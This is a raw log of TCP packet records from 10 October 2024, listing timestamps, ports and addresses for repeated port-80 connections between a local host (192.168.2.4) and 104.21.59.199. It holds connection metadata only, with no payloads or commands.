Oct 10, 2024 21:01:44.567595005 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.567629099 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.572267056 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.572326899 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.572618008 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.572675943 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.572712898 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.572740078 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.572767019 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.572791100 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.572791100 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.572824001 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.572844982 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.572850943 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.572874069 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.572907925 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.573019028 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.573072910 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.573182106 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.573240042 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.573311090 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.573371887 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.573800087 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.573878050 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.577858925 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.577931881 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.577933073 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.578146935 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.578193903 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.578219891 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.578320026 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.578543901 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.578928947 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.579193115 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.579219103 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.579245090 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.579272032 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.579301119 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.579327106 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.579607964 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.579638958 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.579664946 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.579742908 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.579768896 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.579794884 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.582990885 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.583116055 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.583142042 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.879656076 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.890168905 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.896774054 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.896837950 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.022490978 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.027877092 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.028116941 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.028647900 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.033565044 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.502405882 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.503348112 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.503495932 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.508364916 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.508445978 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.508474112 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.508531094 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.508563042 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.508590937 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.508616924 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.508621931 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.508661032 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.508671045 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.508699894 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.508724928 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.508739948 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.508759975 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.508778095 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.508809090 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.513803959 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.513832092 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.513858080 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.513875961 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.513906002 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.513932943 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.513959885 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.513964891 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.513987064 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.514013052 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.514059067 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.514081955 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.514085054 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.514111042 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.514127016 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.514194012 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.514229059 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.518970966 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.519052982 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.519165039 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.519191980 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.519223928 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.519237995 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.519306898 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.519355059 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.519381046 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.519465923 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.523762941 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.523834944 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.523860931 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.523886919 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.523933887 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.523960114 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.523986101 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.524010897 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.524035931 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.524061918 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.524107933 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.524135113 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.524276018 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.524341106 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.524420977 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.828403950 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.840792894 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:45.846653938 CEST	80	49767	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:45.846828938 CEST	49767	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.344882011 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.350263119 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.350373983 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.358766079 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.364852905 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.800729990 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.802088976 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.802449942 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.807010889 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.807297945 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.807342052 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.807354927 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.807363987 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.807419062 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.807441950 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.807457924 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.807457924 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.807462931 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.807495117 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.807519913 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.807661057 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.807682037 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.807699919 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.807709932 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.807733059 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.807770014 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.811697960 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.811755896 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.812266111 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.812371016 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.812376022 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.812421083 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.812428951 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.812473059 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.812475920 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.812500000 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.812534094 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.812535048 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.812557936 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.812561035 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.812592983 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.812608957 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.812644005 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.812653065 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.812735081 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.812872887 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.812952042 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.816852093 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.816915989 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:46.817630053 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.817771912 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.817792892 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.817805052 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.817843914 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.817893982 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.817929983 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.817940950 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.817945957 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.817996979 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.818011045 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.818027020 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.818037987 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.818048954 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.818062067 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.818073034 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.818078041 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.818082094 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.818087101 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.818136930 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.818147898 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.822012901 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.822599888 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:46.822613001 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:47.106152058 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:47.115705967 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:47.121341944 CEST	80	49768	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:47.127053976 CEST	49768	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:47.257556915 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:47.262922049 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:47.263020039 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:47.263403893 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:47.268506050 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:47.769764900 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:47.771305084 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:47.771716118 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.006135941 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.006176949 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.006189108 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.006294966 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.006563902 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.006563902 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.006705046 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.006717920 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.006793022 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.006824017 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.006836891 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.006858110 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.006864071 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.006930113 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.006941080 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.006954908 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.007004023 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.007064104 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.011723995 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.011744022 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.011755943 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.011768103 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.011784077 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.011967897 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.014483929 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.014637947 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.017920971 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.018016100 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.019640923 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.019853115 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.019880056 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.019931078 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.019957066 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.020001888 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.020029068 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.020054102 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.020080090 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.020127058 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.020153046 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.020179033 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.020204067 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.020231962 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.020258904 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.023489952 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.023528099 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.023555994 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.023581982 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.023607016 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.023632050 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.324075937 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.333976984 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.339301109 CEST	80	49769	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.339381933 CEST	49769	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.523638964 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.528908968 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.529103041 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.529628992 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.534543991 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.981743097 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.987569094 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.987785101 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.992579937 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.992856026 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.992868900 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.992894888 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.992906094 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.992911100 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.992918015 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.992943048 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.992954016 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.992965937 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.992973089 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.992973089 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.992976904 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.993026972 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.997376919 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.997436047 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.997725010 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.997776985 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.997827053 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.997839928 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.997881889 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.998025894 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.998047113 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.998059034 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.998070002 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.998080969 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.998091936 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:48.998094082 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.998094082 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.998156071 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:48.999608040 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.002557993 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.002625942 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.002826929 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.002839088 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.002875090 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.002904892 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.003017902 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.003123045 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.003448009 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.003459930 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.004554033 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.004632950 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.004645109 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.004684925 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.004695892 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.004707098 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.004774094 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.004786015 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.004796982 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.004806995 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.005043983 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.007613897 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.007626057 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.007668972 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.007688046 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.007707119 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.286073923 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.309037924 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.314652920 CEST	80	49770	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.314840078 CEST	49770	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.431467056 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.436747074 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.436851978 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.437314034 CEST	49771	80	192.168.2.4	104.21.59.199
